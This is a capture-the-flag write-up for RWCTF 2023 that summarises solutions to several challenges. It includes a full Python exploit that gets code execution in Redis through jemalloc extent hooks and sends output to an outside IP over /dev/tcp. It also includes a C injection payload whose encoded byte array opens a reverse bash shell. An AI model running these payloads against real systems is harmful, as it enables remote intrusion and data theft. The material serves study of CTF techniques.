RWCTF 2023
chatUWU
nonheavyftp
There is a race condition in the application.
When the other thread is wait for connection, we can change the path with the USER command.
rwctf{race-c0nd1tion-1s-real1y_ha4d_pr0blem!!!}
hardened redis
We basically used this exploit. But we had to find a new gadget get get RCE since the one mentioned in the article was not working.
import socket
import ctypes, struct
import os, time
class FakeRemote:
def __init__(self, host, port):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect((host, port))
def send(self, data):
if isinstance(data, str):
data = data.encode('ascii')
self.s.send(data)
def recv(self, length):
data = b''
while len(data) < length:
recv = self.s.recv(length - len(data))
if not recv:
raise EOFError
data += recv
return data
def recvall(self):
data = b''
while True:
recv = self.s.recv(0x1000)
if not recv:
break
data += recv
return data
def recvuntil(self, until, drop=False):
data = b''
while not data.endswith(until):
recv = self.s.recv(1)
if not recv:
raise EOFError
data += recv
return data[:-len(until)] if drop else data
def info(self, s):
print(f'[*] {s}')
def success(self, s):
print(f'[+] {s}')
def close(self):
self.s.close()
def query(qs):
def _query(q):
if isinstance(q, str):
q = q.encode('ascii')
if isinstance(q, (list, tuple)):
p.send(f'*{len(q)}\r\n'.encode('ascii'))
for qe in q:
_query(qe)
else:
assert isinstance(q, (bytes, bytearray))
p.send(f'${len(q)}\r\n'.encode('ascii') + q + b'\r\n')
def _resp():
first = p.recv(1)
if first == b'+':
return p.recvuntil(b'\r\n', drop=True)
elif first == b'-':
err = p.recvuntil(b'\r\n', drop=True)
raise RuntimeError(f'Redis returned Error: {err}')
elif first == b':':
return int(p.recvuntil(b'\r\n', drop=True))
elif first == b'$':
length = int(p.recvuntil(b'\r\n', drop=True))
data = p.recv(length)
assert p.recv(2) == b'\r\n'
return data
else:
assert first == b'*'
length = int(p.recvuntil(b'\r\n', drop=True))
return [_resp() for _ in range(length)]
if isinstance(qs, str):
qs = qs.encode('ascii')
if isinstance(qs, (bytes, bytearray)):
p.send(qs + b'\r\n')
else:
_query(qs)
return _resp()
def query_addr(obj):
return int(query(f'''debug object {obj}''').split()[1][3:], 16)
def p64(v, endian='little'):
return struct.pack('<Q' if endian=='little' else '>Q', v)
def u64(v, endian='little'):
return struct.unpack('<Q' if endian=='little' else '>Q', v)[0]
time.sleep(0.5)
bash_cmd = f'ls > /dev/tcp/165.55.9.4/9000'
cmds = [
"echo '#!/bin/bash'>/tmp/a",
]
assert all(len(cmd) <= 0x1c for cmd in cmds)
cmds = [cmd.ljust(0x1c, '\0') for cmd in cmds]
import sys
p = FakeRemote('localhost', 6379)
assert query('''debug mallctl background_thread 0''') in (0, 1)
for i in range(len(cmds)):
assert query(f'''setbit K{i} 400000 0''') == 0
prev = query('''debug mallctl arena.0.extent_hooks''')
print(hex(prev))
libcbase = prev - 0x71ca00
print(hex(libcbase))
systetm = libcbase + 0x50d60
print(hex(systetm))
gadget = libcbase + 0x90b95
print('gadget:',hex(gadget))
query(['set','A',' '*3000+'bash -c "/readflag > /dev/tcp/162.55.9.4/9000"'])
v = query_addr('A')-0x759ab
cmd_addrs = []
for i in range(len(cmds)):
for j in range(0x100):
assert query(['set', f'cmd{i}_{j}',
(p64(systetm)+p64(v)).ljust(0x1c, b'\0')
]) == b'OK'
assert query(['set', f'sys{i}_{j}',
p64(0)+p64(gadget)+p64(gadget)
])
cmd_addr, sys_addr = query_addr(f'cmd{i}_{j}'), query_addr(f'sys{i}_{j}')
if sys_addr == cmd_addr + 0x30:
break
else:
assert False
cmd_addrs.append(cmd_addr)
wow = cmd_addrs[0]+0x13
query(f'''debug mallctl arena.0.extent_hooks {wow}''')
query('''memory purge'''+' '*100)
exit(0)
assert query('flushall sync') == b'OK'
assert query('memory purge') == b'OK'
p.close()
cult of 8 bit
- Trigger error in xml request
- Use cookieStore.delete as jsonp and a file with
_csrf
name
- logout the usrf with csrf
- login to an accout with a js payload in anchor tag
- trigger onclick of the malicous anchor tag with jsonp
astlibra
Bypass addslashes with backslash
The cblocks outside the class were not blocked ( i think author forgot? ). so get rce and then get the flag from mysql!
$url = 'http://aaa\\");}}%{
#define getThis getThis2
int getThis2(){
char cmd[] = {47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 99, 32, 34, 47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 108, 32, 62, 32, 47, 100, 101, 118, 47, 116, 99, 112, 47, 49, 46, 49, 46, 49, 46, 49, 47, 57, 48, 48, 48, 32, 60, 38, 49, 32, 50, 62, 38, 49, 34, 32, 38, 0};
system(cmd);
}
}%
function dd(){while(1){var ch;//';
tinyvm
- we can read write anywhere on the libc
- we overwrote libc got addresses randomly and one of them seemed usable
- calling printf triggers the jump to our overwritten got address. We saw that the $rdi register points to the stdout buffer address. so we just overwrote the stdout file structure
_IO_read_base
,_IO_write_base
,_IO_write_ptr
to an address that contains the sh\x00
string.
teewars
We saw that canaries were disabled in the dockerfile so we searched about stack-overflow bugs in github and found this.
The given map worked on the challenge too. So we tried to see what's going on. The given map crashes the binary because of overwriting addresses outside the stack. Then we replaced all 0xffff inside the binary to something smaller and the the binary were not crashing anymore and it was jumping to a random address. We saw that the address was inside the file too so we overwrote some addresses until we figures out the correct offset. We overwrote the correct 8 byte ( return addr ) that was below the stack with 0xdddddddddddddddd and then wrote the rop chain with the following python script. we sent the output map file to the challenge client with teeworlds_srv
and got the flag .
okproof
This challenge is very straightforward - it's easy to see that
pi_H <- G1
pi_C <- (t-1)(t-2)(t-3)(t-4) G1
pi_Ca <- a * (t-1)(t-2)(t-3)(t-4) G1
works, and they can be constructed easily from the given data.
realwrap
This is a bug similar to those moonbeam bugs found recently. The added precompiled contracts doesn't care whether the execution was done via delegatecall. Therefore, on the UniswapV2's flashswap callback, we can call the WETH precompile via delegatecall. This forces Uniswap to approve WETH or call a contract, i.e. approve a token. After that, we simply drain the pool via transferFrom(), then Sync(), finishing the challenge.